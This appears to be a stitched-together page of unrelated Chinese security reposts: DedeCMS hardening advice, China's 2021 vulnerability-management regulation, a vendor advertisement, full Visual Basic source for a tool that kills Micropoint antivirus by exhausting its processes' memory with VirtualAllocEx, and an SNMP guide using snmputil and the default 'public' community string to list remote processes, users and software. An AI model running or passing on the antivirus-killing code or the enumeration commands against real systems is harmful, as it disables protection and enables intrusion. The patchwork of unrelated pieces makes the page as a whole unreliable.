下面介绍一下我的方法。
首先识别是否被挂马
被挂马的网站经常无缘无故的打不开，经查就会发现服务器或者空间对外发送大量的udp包，占用了很大流量，然后用dede本身的病毒扫描就会发现多了一些可疑文件。或者挂马后heike会对网站挂很多heilian，这个查看首页代码就很容易发现。还有一种就是heike对页面插入了一些js代码或者是图片代码，这样也可以实现ddos***。通过dedecms的漏洞，heike并不需要获得服务器的权限就可以实现ddos***，真是防不胜防啊。
解决方法，我总结了下面几条
1，一些文件的权限：把根目录下的index.php,tag.php等设置成只读，并且把所有的模板文件设置成只读格式。
2，dedecms目录的安全设置：data/cache/ templets uploads 目录设置可读写，不可执行权限。include、member、plus设置可读 可执行 不可写权限，由于dedecms并没有任何地方使用存储的过程，因此可以禁用 FILE、EXECUTE 等执行存储过程或文件操作的权限。其中假如member等目录对你没有用处的话，最好把目录名字改掉。
3，网站程序安全：这也是最根本的防范，最好及时更新dede的版本，跟上官方的最新版，当然你也可以找一些高手把程序优化的更符合你的安全需求。
4，后台管理目录：后台管理目录隔一段时间修改一次，最好修改复杂一点，这样可以让小heike们下手难度增加。
5，FTP 网站管理密码： FTP密码和网站管理密码建议经常修改，因为很多heike都在用暴力破解密码，把密码改的复杂些尽量掺杂着特殊符合和字母
6，不用的端口最好关掉：你可以用服务器本身的端口过滤功能，也可以用一些服务器管理软件，对服务器不用的端口进行关闭。
7，查找一下服务器的隐藏账户：这个比较麻烦，有的隐藏账户很难处理干净！在这里就不一一叙述了，你可以在百度上搜索一下相关资料，实在不行的话最好重装系统！

基本就这些了，通过上述修改，我的网站大概一个多月没有再受到***的困扰，希望上述经验能对大家有一些用处！



 
 
 
转载于:https://blog.51cto.com/qingyun/820893

《网络产品安全漏洞管理规定》2021年7月12日已由工业和信息化部、国家互联网信息办公室、公安部三部门联合印发，现予公布，自2021年9月1日起施行。
 
一、解读《网络产品安全漏洞管理规定》
 
制定目的
 
为了规范网络产品安全漏洞发现、报告、修补和发布等行为，防范网络安全风险。
 
法律依据
 
《中华人民共和国网络安全法》
 
三类责任主体
 
① 网络产品（含硬件、软件）提供者。
 
② 网络运营者。
 
③ 从事网络产品安全漏洞发现、收集、发布等活动的组织或者个人。
 
三项管理职责及分工
 
① 国家互联网信息办公室：负责统筹协调网络产品安全漏洞管理工作。
 
② 工业和信息化部：负责网络产品安全漏洞综合管理，承担电信和互联网行业网络
 
产品安全漏洞监督管理。
 
③ 公安部：负责网络产品安全漏洞监督管理，依法打击利用网络产品安全漏洞实施
 
的违法犯罪活动。
 
三项活动不得从事
 
① 任何组织或者个人不得利用网络产品安全漏洞从事危害网络安全的活动。
 
② 不得非法收集、出售、发布网络产品安全漏洞信息。
 
③ 明知他人利用网络产品安全漏洞从事危害网络安全的活动的，不得为其提供技术
 
支持、广告推广、支付结算等帮助。
 
三类责任主体管理要求：
 
●网络产品提供者
 
接收：应当建立健全网络产品安全漏洞信息接收渠道并保持畅通，留存网络产品安全
 
漏洞信息接收日志不少于6个月。
 
发现或者获知所提供网络产品存在安全漏洞后：
 
验证：应当立即采取措施并组织对安全漏洞进行验证，评估安全漏洞的危害程度和影
 
响范围；对属于其上游产品或者组件存在的安全漏洞，应当立即通知相关产品
 
提供者。
 
报送：应当在2日内向工业和信息化部网络安全威胁和漏洞信息共享平台报送相关漏
 
洞信息。
 
修补：应当及时组织对网络产品安全漏洞进行修补，对于需要产品用户（含下游厂商）
 
采取软件、固件升级等措施的，应当及时将网络产品安全漏洞风险及修补方式
 
告知可能受影响的产品用户，并提供必要的技术支持。
 
同步：工业和信息化部网络安全威胁和漏洞信息共享平台同步向国家网络与信息安全
 
信息通报中心、国家计算机网络应急技术处理协调中心通报相关漏洞信息。
 
鼓励：鼓励网络产品提供者建立所提供网络产品安全漏洞奖励机制，对发现并通报所
 
提供网络产品安全漏洞的组织或者个人给予奖励。
 
网络运营者
接收：应当建立健全网络产品安全漏洞信息接收渠道并保持畅通，留存网络产品安全
 
漏洞信息接收日志不少于6个月。
 
修补：发现或者获知其网络、信息系统及其设备存在安全漏洞后，应当立即采取措施，
 
及时对安全漏洞进行验证并完成修补。
 
任何组织和个人
备案：任何组织或者个人设立的网络产品安全漏洞收集平台，应当向工业和信息化部
 
备案。工业和信息化部及时向公安部、国家互联网信息办公室通报相关漏洞收
 
集平台，并对通过备案的漏洞收集平台予以公布。
 
鼓励：鼓励发现网络产品安全漏洞的组织或者个人向工业和信息化部网络安全威胁和
 
漏洞信息共享平台、国家网络与信息安全信息通报中心漏洞平台、国家计算机
 
网络应急技术处理协调中心漏洞平台、中国信息安全测评中心漏洞库报送网络
 
产品安全漏洞信息。
 
八项漏洞发布要求
不得发布网络运营者在用的网络、信息系统及其设备存在安全漏洞的细节情况
不得在网络产品提供者提供网络产品安全漏洞修补措施之前发布漏洞信息。
不得发布或者提供专门用于利用网络产品安全漏洞从事危害网络安全活动的程序和工具。
不得刻意夸大网络产品安全漏洞的危害和风险，不得利用网络产品安全漏洞信息实施恶意炒作或者进行诈骗、敲诈勒索等违法犯罪活动。
在国家举办重大活动期间，未经公安部同意，不得擅自发布网络产品安全漏洞信息。
在发布网络产品安全漏洞时，应当同步发布修补或者防范措施。
不得将未公开的网络产品安全漏洞信息向网络产品提供者之外的境外组织或者个人提供。
法律法规的其他相关规定。
从事网络产品安全漏洞发现、收集的组织应当加强内部管理，采取措施防范网络产品安全漏洞信息泄露和违规发布。
 
 
法律罚则：
 
网络产品提供者未按本规定采取网络产品安全漏洞补救或者报告措施的，由工业和信息化部、公安部依据各自职责依法处理；构成《中华人民共和国网络安全法》第六十条规定情形的，依照该规定予以处罚。
 
网络运营者未按本规定采取网络产品安全漏洞修补或者防范措施的，由有关主管部门依法处理；构成《中华人民共和国网络安全法》第五十九条规定情形的，依照该规定予以处罚。
 
违反本规定收集、发布网络产品安全漏洞信息的，由工业和信息化部、公安部依据各自职责依法处理；构成《中华人民共和国网络安全法》第六十二条规定情形的，依照该规定予以处罚。
 
利用网络产品安全漏洞从事危害网络安全活动，或者为他人利用网络产品安全漏洞从事危害网络安全的活动提供技术支持的，由公安机关依法处理；构成《中华人民共和国网络安全法》第六十三条规定情形的，依照该规定予以处罚；构成犯罪的，依法追究刑事责任。
 
二、《网络产品安全漏洞管理规定》全文学习
 
第一条 为了规范网络产品安全漏洞发现、报告、修补和发布等行为，防范网络安全风险，根据《中华人民共和国网络安全法》，制定本规定。
 
第二条 中华人民共和国境内的网络产品（含硬件、软件）提供者和网络运营者，以及从事网络产品安全漏洞发现、收集、发布等活动的组织或者个人，应当遵守本规定。
 
第三条 国家互联网信息办公室负责统筹协调网络产品安全漏洞管理工作。工业和信息化部负责网络产品安全漏洞综合管理，承担电信和互联网行业网络产品安全漏洞监督管理。公安部负责网络产品安全漏洞监督管理，依法打击利用网络产品安全漏洞实施的违法犯罪活动。
 
有关主管部门加强跨部门协同配合，实现网络产品安全漏洞信息实时共享，对重大网络产品安全漏洞风险开展联合评估和处置。
 
第四条 任何组织或者个人不得利用网络产品安全漏洞从事危害网络安全的活动，不得非法收集、出售、发布网络产品安全漏洞信息；明知他人利用网络产品安全漏洞从事危害网络安全的活动的，不得为其提供技术支持、广告推广、支付结算等帮助。
 
第五条 网络产品提供者、网络运营者和网络产品安全漏洞收集平台应当建立健全网络产品安全漏洞信息接收渠道并保持畅通，留存网络产品安全漏洞信息接收日志不少于6个月。
 
第六条 鼓励相关组织和个人向网络产品提供者通报其产品存在的安全漏洞。
 
第七条 网络产品提供者应当履行下列网络产品安全漏洞管理义务，确保其产品安全漏洞得到及时修补和合理发布，并指导支持产品用户采取防范措施:
 
（一）发现或者获知所提供网络产品存在安全漏洞后，应当立即采取措施并组织对安全漏洞进行验证，评估安全漏洞的危害程度和影响范围；对属于其上游产品或者组件存在的安全漏洞，应当立即通知相关产品提供者。
 
（二）应当在2日内向工业和信息化部网络安全威胁和漏洞信息共享平台报送相关漏洞信息。报送内容应当包括存在网络产品安全漏洞的产品名称、型号、版本以及漏洞的技术特点、危害和影响范围等。
 
（三）应当及时组织对网络产品安全漏洞进行修补，对于需要产品用户（含下游厂商）采取软件、固件升级等措施的，应当及时将网络产品安全漏洞风险及修补方式告知可能受影响的产品用户，并提供必要的技术支持。
 
工业和信息化部网络安全威胁和漏洞信息共享平台同步向国家网络与信息安全信息通报中心、国家计算机网络应急技术处理协调中心通报相关漏洞信息。
 
鼓励网络产品提供者建立所提供网络产品安全漏洞奖励机制，对发现并通报所提供网络产品安全漏洞的组织或者个人给予奖励。
 
第八条 网络运营者发现或者获知其网络、信息系统及其设备存在安全漏洞后，应当立即采取措施，及时对安全漏洞进行验证并完成修补。
 
第九条 从事网络产品安全漏洞发现、收集的组织或者个人通过网络平台、媒体、会议、竞赛等方式向社会发布网络产品安全漏洞信息的，应当遵循必要、真实、客观以及有利于防范网络安全风险的原则，并遵守以下规定：
 
（一）不得在网络产品提供者提供网络产品安全漏洞修补措施之前发布漏洞信息；认为有必要提前发布的，应当与相关网络
 
产品提供者共同评估协商，并向工业和信息化部、公安部报告，由工业和信息化部、公安部组织评估后进行发布。
 
（二）不得发布网络运营者在用的网络、信息系统及其设备存在安全漏洞的细节情况。
 
（三）不得刻意夸大网络产品安全漏洞的危害和风险，不得利用网络产品安全漏洞信息实施恶意炒作或者进行诈骗、敲诈勒索等违法犯罪活动。
 
（四）不得发布或者提供专门用于利用网络产品安全漏洞从事危害网络安全活动的程序和工具。
 
（五）在发布网络产品安全漏洞时，应当同步发布修补或者防范措施。
 
（六）在国家举办重大活动期间，未经公安部同意，不得擅自发布网络产品安全漏洞信息。
 
（七）不得将未公开的网络产品安全漏洞信息向网络产品提供者之外的境外组织或者个人提供。
 
（八）法律法规的其他相关规定。
 
第十条 任何组织或者个人设立的网络产品安全漏洞收集平台，应当向工业和信息化部备案。工业和信息化部及时向公安部、国家互联网信息办公室通报相关漏洞收集平台，并对通过备案的漏洞收集平台予以公布。
 
鼓励发现网络产品安全漏洞的组织或者个人向工业和信息化部网络安全威胁和漏洞信息共享平台、国家网络与信息安全信息通报中心漏洞平台、国家计算机网络应急技术处理协调中心漏洞平台、中国信息安全测评中心漏洞库报送网络产品安全漏洞信息。
 
第十一条 从事网络产品安全漏洞发现、收集的组织应当加强内部管理，采取措施防范网络产品安全漏洞信息泄露和违规发布。
 
第十二条 网络产品提供者未按本规定采取网络产品安全漏洞补救或者报告措施的，由工业和信息化部、公安部依据各自职责依法处理；构成《中华人民共和国网络安全法》第六十条规定情形的，依照该规定予以处罚。
 
第十三条 网络运营者未按本规定采取网络产品安全漏洞修补或者防范措施的，由有关主管部门依法处理；构成《中华人民共和国网络安全法》第五十九条规定情形的，依照该规定予以处罚。
 
第十四条 违反本规定收集、发布网络产品安全漏洞信息的，由工业和信息化部、公安部依据各自职责依法处理；构成《中华人民共和国网络安全法》第六十二条规定情形的，依照该规定予以处罚。
 
第十五条 利用网络产品安全漏洞从事危害网络安全活动，或者为他人利用网络产品安全漏洞从事危害网络安全的活动提供技术支持的，由公安机关依法处理；构成《中华人民共和国网络安全法》第六十三条规定情形的，依照该规定予以处罚；构成犯罪的，依法追究刑事责任。
 
第十六条 本规定自2021年9月1日起施行。
 
三、任子行漏洞安全解决方案
 
 
 
任子行信息安全服务定位于帮助用户以较低的成本实现高效的信息安全体系，致力成为一家具有前瞻性的信息安全解决方案和服务提供商，提供包含从高端的全面安全体系到细节的技术解决措施，为企业、政府提供全面或部分信息安全解决方案的服务，包括娴熟高效的安全技术、精准专业的安全工具以及资深信息安全专家的专业服务。另外任子行还会为客户量身量身制定服务，从网络安全、应用安全、主机安全、数据安全等方面提供包括信息安全风险评估、等级保护咨询、渗透测试、安全巡检、安全加固、安全培训、应急响应、安全咨询、攻防演练及重保值守等服务内容，尽最大能力满足所有客户的安全需求。
 
风险（安全）评估服务
 
风险（安全）评估是对信息系统和IT基础设施进行安全风险评估，包括明确风险评估范围、识别重要资产、识别脆弱性和威胁、现有安全控制措施、应用系统漏洞扫描、分析和计算风险状况、制定不可接受风险处置方案和风险评估报告和总结。协助完成对风评过程中发现的问题进行整改，整改完成后测试是否整改完毕。
 
 
风险评估，可带来如下收益：
 
风险评估服务通过信息资产的识别与赋值、威胁评估、
 
弱点评估、现有安全措施评估、综合风险分析等若干环
 
节，对信息系统的安全风险进行风险分析，清晰地展现
 
信息系统当前的安全现状，提供公正、客观、翔实的数
 
据作为决策参考，为组织下一步控制和降低安全风险、
 
改善安全状况、实施信息系统的风险管理提供依据。
 
安全加固服务
 
在能百分百规避风险的情况下，针对系统渗透测试，漏洞扫描，风险评估等项目的实施结果，提供详细可行的漏洞修补及系统加固方案，协调系统运维人员进行安全加固，跟进安全加固进度，确保信息系统的安全。系统安全加固服务，可带来如下收益：
 
有效修复、减少系统中存在的高、中危漏
 
洞，降低安全漏洞和隐患带来的安全风险。
 
有效提升系统自身的安全防护能力。
 
最大程度保障系统的持续、安全、稳定运行。
 
应急响应服务
 
根据用户实际情况，提供信息安全应急响应服务，包括应急预案、事件处置及问题修复、报告输出。提供7*24小时重大安全事件的应急响应工作，应急响应主要针对突发的网站安全故障、网络安全事件、应用系统安全事件、主机安全事件、黑客攻击事件等进行诊断，分析并协助解决。
 
 
应急响应服务，可带来如下收益：
 
还原攻击事件，收集由于安全故障造成的入侵记录、破坏情况、直接损失情况等证据。提升安全事件处理效率，及时解决安全故障，恢复系统正常运行，尽可能挽回或减少安全事件带来的损失。对安全故障发生的系统作安全检查和清理，保证信息系统安全。弥补安全故障发生系统上的安全漏洞，加强安全保护措施，防止类似事件的再次发生。评估网站被入侵的可能性，并在入侵者发起攻击前封堵可能被利用的攻击途径。
 
 

 
 
from:http://blog.sina.com.cn/s/blog_61d65e360100l709.html
 
 
驱动学习----内存管理漏洞利用之--Ring3下Kill微点
 
  
 (2010-08-26 10:02:49) 
 

  转载▼
 
 
 
 
 
标签： 
如何杀微点
 
内存管理
 
杂谈
 
 
 
 
 
 
Ring3下Kill微点主动防御软件
 
 
 
 
2010年8月24笔者发现微点在内存管理方面存在漏洞，黑客可以利用几个很常用的win32 API函数就可以结束掉其4大进程。笔者通宵写出了微点专杀工具。当然也第一时间通过邮件的方式告知微点弥补其漏洞。
 
 
同时感谢我的搭档---LiuFei
 
 

 笔者使用的技术很简单
 1，我们先来看下微点有哪几个进程，哦，原来就4个，其中3个是系统进程
 2，因此有必要提升下自己进程的特权级，使其具备Debug效能
 3，试图用OpenProcess打开微点进程，OK，特权级提升之后可以全部打开
 4，试图用VirtualAllocEx划分一个地址空间看看，哈哈 令人兴奋的是居然成功
 5，既然你微点没有Inline Hook相关内核函数，那么我就对不起你了
 6，暴力无限划分，直到所有地址空间全部被“保留”
 7，等3分钟，左右，微点4个进程全部退出，win7提示微点退出
 8，成功~ 这就是思路。简单吧。
 
 为了提高编程效率，我选择了VB 具体代码如下
 窗口代码：
 
 
Private Sub Form_Initialize()
 Call searchMP
 End Sub
 
 
Private Sub Form_Load()
 Dim currentprocess As Long
 Dim a As Long
 Dim retlen As Long
 Dim tkp As TOKEN_PRIVILEGES
 Dim oldtkp As TOKEN_PRIVILEGES
 '*******************************************
 currentprocess = GetCurrentProcess()
 a = OpenProcessToken(currentprocess, TOKEN_ADJUST_PRIVILEGES + TOKEN_QUERY, CurrentProcessToken)
 If a = 0 Then
 MsgBox ("OpenProcessToken failed!")
 End If
 
 
a = LookupPrivilegeValue("", "SeDebugPrivilege", CurrentProcessLuid)
 If a = 0 Then
 MsgBox ("Catch Luid failed!")
 End If
 '***********************************************
 tkp.PrivilegeCount = 1
 tkp.Privileges(0).Attributes = SE_PRIVILEGE_ENABLED
 tkp.Privileges(0).pLuid.highpart = CurrentProcessLuid.highpart
 tkp.Privileges(0).pLuid.lowpart = CurrentProcessLuid.lowpart
 
 

 a = AdjustTokenPrivileges(CurrentProcessToken, False, tkp, LenB(oldtkp), oldtkp, retlen)
 If a = 0 Then
 MsgBox ("Adjust failed!")
 End If
 
 
End Sub
 
 
 
 
以下是模块代码：
 
 
Public Declare Function CreateThread Lib "kernel32" (lpThreadAttributes As SECURITY_ATTRIBUTES, ByVal dwStackSize As Long, lpStartAddress As Long, lpParameter As Any, ByVal dwCreationFlags As Long, lpThreadId As Long) As Long
 Public Declare Function GetCurrentProcess Lib "kernel32" () As Long
 Public Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
 Public Declare Function VirtualAllocEx Lib "kernel32" (ByVal hProcess As Long, _
 ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, _
 ByVal flProtect As Long) As Long
 Public Declare Function LookupPrivilegeValue Lib "advapi32.dll" Alias "LookupPrivilegeValueA" (ByVal lpSystemName As String, ByVal lpName As String, lpLuid As LARGE_INTEGER) As Long
 Public Declare Function OpenProcessToken Lib "advapi32.dll" (ByVal ProcessHandle As Long, ByVal DesiredAccess As Long, TokenHandle As Long) As Long
 Public Declare Function AdjustTokenPrivileges Lib "advapi32.dll" (ByVal TokenHandle As Long, ByVal DisableAllPrivileges As Long, NewState As TOKEN_PRIVILEGES, ByVal BufferLength As Long, PreviousState As TOKEN_PRIVILEGES, ReturnLength As Long) As Long
 Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
 Public Declare Function CreateToolhelp32Snapshot Lib "kernel32" (ByVal dwFlags As Long, ByVal th32ProcessID As Long) As Long
 Public Declare Function Process32First Lib "kernel32" (ByVal hSnapshot As Long, lppe As PROCESSENTRY32) As Long
 Public Declare Function Process32Next Lib "kernel32" (ByVal hSapshot As Long, lppe As PROCESSENTRY32) As Long
 '*******************************************
 Public Const ANYSIZE_ARRAY = 1
 Public Const TOKEN_ADJUST_PRIVILEGES = &H20
 Public Const TOKEN_QUERY = &H8
 Public Const SE_DEBUG_NAME = "SeDebugPrivilege"
 Public Const SE_PRIVILEGE_ENABLED = &H2
 Public Const PROCESS_ALL_ACCESS = &H1F0FFF
 Public Const MEM_RESERVE = 4096
 Public Const PAGE_READWRITE = 4
 '**********************************************
 Public CurrentProcessToken As Long
 Public CurrentProcessLuid As LARGE_INTEGER
 '###################
 Public MP1 As String
 Public MP2 As String
 Public MP3 As String
 Public MP4 As String
 
 
Public MP1ID As Long
 Public MP2ID As Long
 Public MP3ID As Long
 Public MP4ID As Long
 
 
Public hMP1 As Long
 Public hMP2 As Long
 Public hMP3 As Long
 Public hMP4 As Long
 
 
Public AllocMP1 As Long
 Public AllocMP2 As Long
 Public AllocMP3 As Long
 Public AllocMP4 As Long
 '###################
 Public Type SECURITY_ATTRIBUTES
 nLength As Long
 lpSecurityDescriptor As Long
 bInheritHandle As Long
 End Type
 Public Type ACL
 AclRevision As Byte
 Sbz1 As Byte
 AclSize As Integer
 AceCount As Integer
 Sbz2 As Integer
 End Type
 Public Type SECURITY_DESCRIPTOR
 Revision As Byte
 Sbz1 As Byte
 Control As Long
 Owner As Long
 Group As Long
 Sacl As ACL
 Dacl As ACL
 End Type
 
 
Public Type LUID
 lowpart As Long
 highpart As Long
 End Type
 Public Type LARGE_INTEGER
 lowpart As Long
 highpart As Long
 End Type
 Public Type LUID_AND_ATTRIBUTES
 pLuid As LUID
 Attributes As Long
 End Type
 Public Type TOKEN_PRIVILEGES
 PrivilegeCount As Long
 Privileges(ANYSIZE_ARRAY) As LUID_AND_ATTRIBUTES
 End Type
 '*************************************************
 Public Const PROCESS_VM_READ = &H10
 Public Const TH32CS_SNAPPROCESS = &H2
 Public Const MEM_DECOMMIT = &H4000
 Public Const PROCESS_Create_THREAD = (&H2)
 Public Const PROCESS_VM_OPERATION = (&H8)
 Public Const PROCESS_VM_WRITE = (&H20)
 Public Const INFINITE = &HFFFF
 
 
Public Type PROCESSENTRY32
 dwSize As Long
 cntUseage As Long
 th32ProcessID As Long
 th32DefaultHeapID As Long
 th32ModuleID As Long
 cntThreads As Long
 th32ParentProcessID As Long
 pcPriClassBase As Long
 swFlags As Long
 szExeFile As String * 1024
 End Type
 
 
Function searchMP()
 Dim MySnapHandle As Long
 Dim ProcessInfo As PROCESSENTRY32
 Dim MyRemoteProcessId As Long
 Dim a As Long
 
 
MP1 = "MPMon.exe"
 MP2 = "MPSVC.exe"
 MP3 = "MPSVC1.exe"
 MP4 = "MPSVC2.exe"
 MySnapHandle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
 ProcessInfo.dwSize = Len(ProcessInfo)
 If Process32First(MySnapHandle, ProcessInfo) <> 0 Then
 Do
 If InStr(ProcessInfo.szExeFile, MP1) > 0 _
 Or InStr(ProcessInfo.szExeFile, MP2) > 0 _
 Or InStr(ProcessInfo.szExeFile, MP3) > 0 _
 Or InStr(ProcessInfo.szExeFile, MP4) > 0 Then
 Form1.List1.AddItem (ProcessInfo.szExeFile)
 Form1.List2.AddItem (ProcessInfo.th32ProcessID)
 If InStr(ProcessInfo.szExeFile, MP1) > 0 Then
 MP1ID = ProcessInfo.th32ProcessID
 hMP1 = OpenProcess(PROCESS_ALL_ACCESS, 0, MP1ID)
 If hMP1 = 0 Then
 MsgBox ("Open the MPMon.exe failed !!")
 End If
 End If
 
 If InStr(ProcessInfo.szExeFile, MP2) > 0 Then
 MP2ID = ProcessInfo.th32ProcessID
 hMP2 = OpenProcess(PROCESS_ALL_ACCESS, 0, MP2ID)
 If hMP2 = 0 Then
 MsgBox ("Open the MPSVC.exe failed !!")
 End If
 End If
 
 If InStr(ProcessInfo.szExeFile, MP3) > 0 Then
 MP3ID = ProcessInfo.th32ProcessID
 hMP3 = OpenProcess(PROCESS_ALL_ACCESS, 0, MP3ID)
 If hMP3 = 0 Then
 MsgBox ("Open the MPSVC1.exe failed !!")
 End If
 End If
 
 If InStr(ProcessInfo.szExeFile, MP4) > 0 Then
 MP4ID = ProcessInfo.th32ProcessID
 hMP4 = OpenProcess(PROCESS_ALL_ACCESS, 0, MP4ID)
 If hMP4 = 0 Then
 MsgBox ("Open the MPSVC2.exe failed !!")
 End If
 End If
 End If
 Loop While Process32Next(MySnapHandle, ProcessInfo) <> 0
 End If
 CloseHandle MySnapHandle
 '***************************
 Call AllocMemMP
 End Function
 
 
Function AllocMemMP()
 Dim x As Long
 Dim newthreadid As Long
 Dim attr As SECURITY_ATTRIBUTES
 Dim sd As SECURITY_DESCRIPTOR
 attr.nLength = LenB(attr)
 attr.bInheritHandle = 0
 attr.lpSecurityDescriptor = VarPtr(sd) '取地址
 attr.bInheritHandle = 0
 
 
If hMP1 <> 0 And hMP2 <> 0 And hMP3 <> 0 And hMP4 <> 0 Then
 x = CreateThread(attr, 0, StartAllocMP1, 0, 0, newthreadid)  'varptr 针对于any类型数据
 x = CreateThread(attr, 0, StartAllocMP2, 0, 0, newthreadid)
 x = CreateThread(attr, 0, StartAllocMP3, 0, 0, newthreadid)
 x = CreateThread(attr, 0, StartAllocMP4, 0, 0, newthreadid)
 Else
 MsgBox ("One of the four processes of the MP AutiVirus have not been opened !!!")
 End If
 End Function
 
 
Function StartAllocMP1()
 AllocMemSizeOne = 50000000
 AllocMemSizeTwo = 500
 Do
 AllocMP1 = VirtualAllocEx(hMP1, 0, AllocMemSizeOne, MEM_RESERVE, PAGE_READWRITE)
 Loop While AllocMP1 > 0
 Do
 AllocMP1 = VirtualAllocEx(hMP1, 0, AllocMemSizeTwo, MEM_RESERVE, PAGE_READWRITE)
 Loop While AllocMP1 > 0
 MsgBox ("MPMon.EXE has been Alloc !!")
 End Function
 
 
Function StartAllocMP2()
 AllocMemSizeOne = 50000000
 AllocMemSizeTwo = 500
 Do
 AllocMP2 = VirtualAllocEx(hMP2, 0, AllocMemSizeOne, MEM_RESERVE, PAGE_READWRITE)
 Loop While AllocMP2 > 0
 Do
 AllocMP2 = VirtualAllocEx(hMP2, 0, AllocMemSizeTwo, MEM_RESERVE, PAGE_READWRITE)
 Loop While AllocMP2 > 0
 MsgBox ("MPSVC.EXE has been Alloc !!")
 End Function
 
 
Function StartAllocMP3()
 AllocMemSizeOne = 50000000
 AllocMemSizeTwo = 500
 Do
 AllocMP3 = VirtualAllocEx(hMP3, 0, AllocMemSizeOne, MEM_RESERVE, PAGE_READWRITE)
 Loop While AllocMP3 > 0
 Do
 AllocMP3 = VirtualAllocEx(hMP3, 0, AllocMemSizeTwo, MEM_RESERVE, PAGE_READWRITE)
 Loop While AllocMP3 > 0
 MsgBox ("MPSVC1.EXE has been Alloc !!")
 End Function
 
 
Function StartAllocMP4()
 AllocMemSizeOne = 50000000
 AllocMemSizeTwo = 500
 Do
 AllocMP4 = VirtualAllocEx(hMP4, 0, AllocMemSizeOne, MEM_RESERVE, PAGE_READWRITE)
 Loop While AllocMP4 > 0
 Do
 AllocMP4 = VirtualAllocEx(hMP4, 0, AllocMemSizeTwo, MEM_RESERVE, PAGE_READWRITE)
 Loop While AllocMP4 > 0
 MsgBox ("MPSVC2.EXE has been Alloc !!")
 End Function
 
 
 
以下是截图：
 
 

 
 
 
 
 
 
 
 
 
 后续：
 
 
当然，微点肯定会弥补这个漏洞。因此这个方法会在将来某一天无效！！！！
 
 
好了，继续睡觉去
 
 
 
 
 
 
 
 

snmp简单网络管理协议漏洞分析,利用,防护
 
简单网络管理协议(SNMP)是一个
可以远程管理计算机和网络设备的协议.
有两种典型的远程监控模式.
他们可以粗略地分为"读"和"写"(或者是PUBLIC和PRIVATE).
如果攻击者能猜出一个PUBLIC团体串值,
那么他就可以从远程设备读取SNMP数据.
这个信息可能包括
系统时间,IP地址,接口,运行着的进程,etc等.
如果攻击者猜出一个PRIVATE团体串值
(写入或"完全控制"),
他就有更改远程机器上信息的能力.
这会是一个极大的安全漏洞,
能让攻击者成功地破坏网络,运行的进程,ect.
其实,"完全控制"会给远程攻击者提供在主机上的完全管理权限.
 
更多信息请参见:
http://www.securiteam.com/exploits/Windows_NT_s_SNMP_service_vulnerability.html
___________________________________________________________________


SNMP Agent responded as expected with community name: public
CVE_ID : CAN-1999-0517, CAN-1999-0186, CAN-1999-0254, CAN-1999-0516
BUGTRAQ_ID : 11237, 10576, 177, 2112, 6825, 7081, 7212, 7317, 9681, 986
NESSUS_ID : 10264
Other references : IAVA:2001-B-0001
 
SNMP服务在UDP 161/162端口监听
用法:snmputil walk IP public [OID]

[----------OID-----------------------含义-------]

.1.3.6.1.2.1.25.4.2.1.2           获取系统进程
.1.3.6.1.4.1.77.1.2.25.1.1        获取用户列表
.1.3.6.1.4.1.77.1.4.1.0           获取域名
.1.3.6.1.2.1.25.6.3.1.2           获取安装的软件
.1.3.6.1.2.1.1                    获取系统信息
 
--------------------------------------------------------------------
 
扫描到的一个报告：
 
 . 端口"snmp (161/udp)"发现安全漏洞 : 
 

    Snmp口令:
     "public"
 

 . 端口"snmp (161/udp)"发现安全提示 : 
 

        sysDescr.0 = Draytek V3300 Advanced Router
        sysUpTime.0 = 3 Days, 1 Hours, 53 Minutes, 10 Seconds
        sysContact.0 = admin@router
        sysName.0 = V3300c
        sysLocation.0 = Hsin Chu
        sysServices.0 = 0
 
目的：得到远程目标的系统敏感信息
 
简单 利用方法
 
这里的public使用来查询对方信息时所用到的密码
 
具体的做法：要用到一个叫snmputil的东西，这个东西在win2000的resource kit中有，通过它我们可以通过snmp服务来查看对方的一些信息
格式：snmputil get(or walk or getnext) public oid
get和括号里的时获取对方机器信息的一种方法，public就是查寻的时候要用的密码。oid是被查询设备的ID号码
 
例如：snmputil walk 111.111.111.111 public .1.3.6.1.2.1.25.4.2.1.2
 
snmputil walk ip public .1.3.6.1.2.1.25.4.2.1.2(列出系统进程)
snmputil walk ip public .1.3.6.1.4.1.77.1.2.25.1.1(列出系统用户列表)
snmputil get ip public .1.3.6.1.4.1.77.1.4.1.0(列出域名)
snmputil walk ip public .1.3.6.1.2.1.25.6.3.1.2(列出安装软件)
snmputill walk ip public .1.3.6.1.2.1(列出系统信息)
 
 
 
------------------------------------------------------------
关于扫描中snmp信息的利用
 

对于完全安装的WIN2K或者说启动了 简单网络管理协议（SNMP）的系统来说，仍然将存在 
非常致命的隐患，完全将你的系统暴露给所有人。 
　 
一、从SNMP说起 
SNMP，Simple Network Management Protocol，简单网络管理协议。用于管理IP网络上结点的协议。 
几乎所有的网络设备和网络操作系统都支持SNMP。 
接下来要介绍的是：community strings， 
理解成为基于SNMP协议信息通信时使用的一种“查询密码”应该不为过吧。 
当使用特殊的客户端应用程序，通过该“查询密码”community strings的验证，将获得 
对应的权限（只读 或者 读写)对SNMP中管理信息库（MIB）进行访问。 
而管理信息库（MIB）中则保存了系统所有的重要信息。 
也就是说，如果可以知道community strings 这个“查询密码”，我们就可以刺探系统的信息了。 
比较遗憾的是，很多网络设备厂商以及操作系统厂商，在初始状态下，都使用比较 
统一的“查询密码”呵呵，这也就给我们提供了足够的方便。 
　 
二、对WIN2K进行刺探扫描 
以WIN2K来说，一旦安装并启动了简单网络管理协议，系统将打开 
UDP 161 snmp 
UDP 162 snmptrap 
两个端口。 
具体做什么我们不去细究。需要注意的是，这里使用的是UDP端口，而不是TCP端口。 
同时，WIN2K系统支持初始的“查询密码”community strings 为：public 
我们只要通过一款Resource Kit里面的工具snmputil，就可以方便的获得非常多的信息。 
在这里可以下载：
 
http://www.patching.net/abu/tools/win/snmputil.exe 
 
http://sys-fans.googlegroups.com/web/snmputil.rar?gda=_yKFyz0AAABwZHozmN-ATJzor0QdxnV3-JHqy6NhXN0f3dd9D8ABRWG1qiJ7UbTIup-M2XPURDQUfhIcuCyU6V9M_1NEkm0m&hl=zh-CN
 
 
 
简单介绍一下用法 
snmputil，就是程序名拉，呵呵。 
get，就理解成获取一个信息。 
getnext，就理解成获取下一个信息。 
walk，就理解成获取一堆信息（嗯，应该说所有数据库子树/子目录的信息） 
agent，具体某台机器拉。 
